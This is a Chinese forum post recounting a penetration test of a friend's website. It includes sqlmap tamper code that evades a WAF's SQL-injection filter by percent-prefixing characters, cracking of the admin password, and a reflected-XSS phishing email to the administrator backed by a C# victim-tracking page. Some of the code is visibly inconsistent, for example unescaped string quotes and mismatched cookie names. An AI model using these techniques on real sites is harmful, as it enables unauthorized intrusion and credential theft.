安全矩阵

 找回密码
 立即注册
搜索
查看: 4037|回复: 0

一次迂回的渗透测试之旅

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-14 19:01:55 | 显示全部楼层 |阅读模式
原文链接:一次迂回的渗透测试之旅

一、起因

前几天朋友发来一个站,说让我帮他测试一下网站的安全程度,看到是一个小站就暗暗欣喜,但经过一段时间的尝试后,发现这个网站虽然功能不咋地但是可以直接getshell的漏洞几乎为0。

二、奇葩的waf

随手一个 and 1=1,有waf????这个小站竟然也有waf??

emmmmm一个很小众的waf,用的人很少。

本着遇到waf就让对方添加白名单的原则想和朋友说一下。但是转念一想,不能让他小瞧我啊,怎么能辜负我在他面前吹过的牛皮呐~
好啊那就绕一下!
随手将空格换成+号,竟然绕过了。。。。。好吧,是我太年轻了。

既然有了绕过方法,直接写tamper,翻了一下sqlmap的tamper发现有可以直接替换的脚本(正好懒得写了):

意思就是在payload中isspace检查给定的字符是否为空格,如果是空格的话直接替换为“+”号。既然有注入那就直接丢到sqlmap中跑吧(能自动就自动吧)。
(Ps:之前看到过某位大师傅写的也是这个waf,可以参考一下:https://mp.weixin.qq.com/s/jtz2QxCs4jI0WWgNFzTb8Q,这一篇也是WTS绕过,绕过过程也很奇葩。)
但是很奇葩的是,这个上sqlmap也是一片红,怀疑可能是在代码层面做了一些限制。
既然这样那就自己手注绕过吧。
经过测试他用正则将select 、union等关键字过滤,也不能用/**/等,制表符等也不能用,也尝试了上文中将--%oa放在select后面也没办法绕过,常规绕过基本都测试过了都不行,便又返回去从数据库的版本入手,后来发现数据库版本为MySQL 5.5.11,这个版本在字母前添加%也会正常解析为原字母,如:%s%e%l%e%c%t会被解析为select,经过测试,可以绕过其代码层面的防护。
手注是不可能的,那就重新编写一下tamper
将代码直接添加到上面tamper的后面即可。
  1. next_retVal = ""

  2.     i = 0
  3.     while i < len(retVal):

  4.       if retVal[i] == '%' and (i < len(retVal) - 2) and retVal[i + 1:i + 2] in string.hexdigits and retVal[i + 2:i + 3] in string.hexdigits:

  5.         next_retVal += retVal[i:i + 3]

  6.         i += 3

  7.       elif retVal[i] != ' ':

  8.         next_retVal += '%%%s' % retVal[i]

  9.         i += 1

  10.       else:

  11.         next_retVal += retVal[i]

  12.         i += 1

  13. return next_retVal
复制代码



接下来就是一顿常规操作拿到用户名和密码。

将得到的password密文直接丢到cmd5解密:

经过解密后得到密码888888,虽然能够得到敏感数据,但是对于一个优秀的渗透测试人员来说无法getshell就不是一个完美的结果。
查看了一下权限emmmm无法直接--os-shell ,好吧,那就寻找后台有账户和密码直接登录后getshell吧。
for a long long time......
好吧,拿出我珍藏的四万字典都没有找到!怪不得给我网站的时候一脸贼笑。

既然注入没有用,那就再看看还有什么漏洞可以getshell吧。
几乎所有手段都上去之后又找到两处反射型XSS,但是对于getshell几乎没有什么用,如果不能getshell那不就破坏我在他心中的高大形象了吗?
就在so参数这边存在一处反射型XSS漏洞,近乎鸡肋。。。。。

在几乎所有努力下,最终放弃传统通过漏洞打进去的方法,采用钓鱼的方法进行迂回。
如图所示,发现一处管理员的邮箱。


三、峰回路转
既然有了反射型XSS和邮箱地址对于接下来的动作就很好说了,之前在万能的github上看到一个利用XSS钓鱼,cna插件配合php后端收杆的脚本(https://github.com/timwhitez/XSS-Phishing)感觉很不错,但是一想,身为一个官方公众号怎么能直接将别人的代码拿来凑字数呐,便用asp重写了一个,顺便优化了一个当传参为空时的判断条件。
bobo.aspx主要代码如下:
  1. <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="bobo.aspx.cs" Inherits="XSS.bobo" %>



  2. <!DOCTYPE html>



  3. <html xmlns="http://www.w3.org/1999/xhtml">

  4. <head runat="server">

  5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

  6.   <title></title>

  7. </head>

  8. <body>

  9.   <form id="form1" runat="server">

  10.         <div>

  11.     </div>

  12.   </form>

  13. </body>

  14. </html>
复制代码
bobo.aspx.cs的代码如下:
  1. using System;

  2. using System.Collections.Generic;

  3. using System.Linq;

  4. using System.Web;

  5. using System.Web.UI;

  6. using System.Web.UI.WebControls;

  7. using System.IO;

  8. using System.Text;



  9. namespace XSS

  10. {

  11.   public partial class bobo : System.Web.UI.Page

  12.   {

  13.     public static string EncodeBase64(Encoding encode, string source)
  14. {

  15.       string decode = "";

  16.       byte[] bytes = encode.GetBytes(source);

  17.       try

  18.       {

  19.         decode = Convert.ToBase64String(bytes);

  20.       }

  21.       catch

  22.       {

  23.         decode = source;

  24.       }

  25.       return decode;

  26.     }

  27.     protected void Page_Load(object sender, EventArgs e)
  28. {

  29.       string db = "botIPs.txt";

  30.       string addr = HttpContext.Current.Request.UserHostAddress;

  31.       HttpContext.Current.Response.AddHeader("Access-Control-Allow-Origin", "*");

  32.       HttpContext.Current.Response.AddHeader("Access-Control-Allow-Credentials", "true");

  33.       object getaddrIsin = HttpContext.Current.Request.QueryString["getaddr"];

  34.       if (getaddrIsin !=null && getaddrIsin.ToString() != "")

  35.       {

  36.         HttpContext.Current.Response.AddHeader("Content-type", "text/json; charset=utf-8");

  37.         object boboCookieIsin= HttpContext.Current.Request.Cookies["getaddr"];

  38.         string Info = "";

  39.         if (boboCookieIsin != null && boboCookieIsin.ToString() != "")

  40.         {

  41.           Info = $"var returnCitySN = {{"cip": "{addr}", "bobo":"111111"}};";

  42.           Response.Write(Info);

  43.         }

  44.         else

  45.         {

  46.           Info= $"var returnCitySN = {{"cip": "{addr}", "bobo": "000000"}};";

  47.         }

  48.       }

  49.       object boboIsin = HttpContext.Current.Request.QueryString["bobo"];

  50.       if (boboIsin != null && boboIsin.ToString() != "")

  51.       {

  52.         HttpCookie httpCookie = new HttpCookie("bobo");

  53.         httpCookie.Value = "bobo";

  54.         httpCookie.Expires = DateTime.Now.AddDays(10);

  55.         HttpContext.Current.Response.SetCookie(httpCookie);

  56.       }

  57.       object get_ip = HttpContext.Current.Request.QueryString["ip"];

  58.       if (get_ip != null && get_ip.ToString() != "")

  59.       {

  60.         string botIP = get_ip.ToString();

  61.         StreamReader streamReader = new StreamReader(db);

  62.         string line = streamReader.ReadToEnd();

  63.         streamReader.Close();

  64.         string[] botIPs = line.Split('\n');

  65.         if (botIPs.Contains(EncodeBase64(Encoding.Default, botIP)))

  66.         {

  67.           Response.Write("ip exist");

  68.         }

  69.         else

  70.         {

  71.           StreamWriter streamWriter = new StreamWriter(db);

  72.           streamWriter.Write(botIP+"\n");

  73.           streamWriter.Close();

  74.         }

  75.       }

  76.       object search= HttpContext.Current.Request.QueryString["search"];

  77.       if (search != null && search.ToString() != "")

  78.       {

  79.         string ip = search.ToString();

  80.         if (File.Exists(db))

  81.         {

  82.           StreamReader stream = new StreamReader(db);

  83.           string line = stream.ReadToEnd();

  84.           stream.Close();

  85.           string[] botIPs = line.Split('\n');

  86.           if (botIPs.Contains(EncodeBase64(Encoding.Default, ip)))

  87.           {

  88.             Response.Write("in");

  89.           }

  90.           else

  91.           {

  92.             Response.Write("bobo");

  93.           }

  94.         }

  95.       }

  96.     }

  97.   }

  98. }
复制代码
Global.asax.cs主要代码如下:
  1. using System;

  2. using System.Collections.Generic;

  3. using System.Linq;

  4. using System.Web;

  5. using System.Web.Security;

  6. using System.Web.SessionState;



  7. namespace XSS

  8. {

  9.   public class Global : System.Web.HttpApplication

  10.   {

  11.     protected void Application_Start(object sender, EventArgs e)
  12. {

  13.     }

  14.   }

  15. }
复制代码

效果图如下:


OK,既然代码方面已经完成,那么接下来就构造我们精心制作好的钓鱼邮件(URL注意编码或者生成短链接)发送给网站管理员,当网站打开后效果如下:

after long long time......
终于等到管理员上线。

紧接着就给朋友说:嘿伙计,你上线了。经过一系列的彩虹屁后迫不得已给他修复了。

四、结尾

渗透测试的路上真的有好多磕磕绊绊,也许你可以脱库,但是可能你并不会getshell,这时,只要你换一种思路,也许就能够得到意想不到的结果。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 07:35 , Processed in 0.013530 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表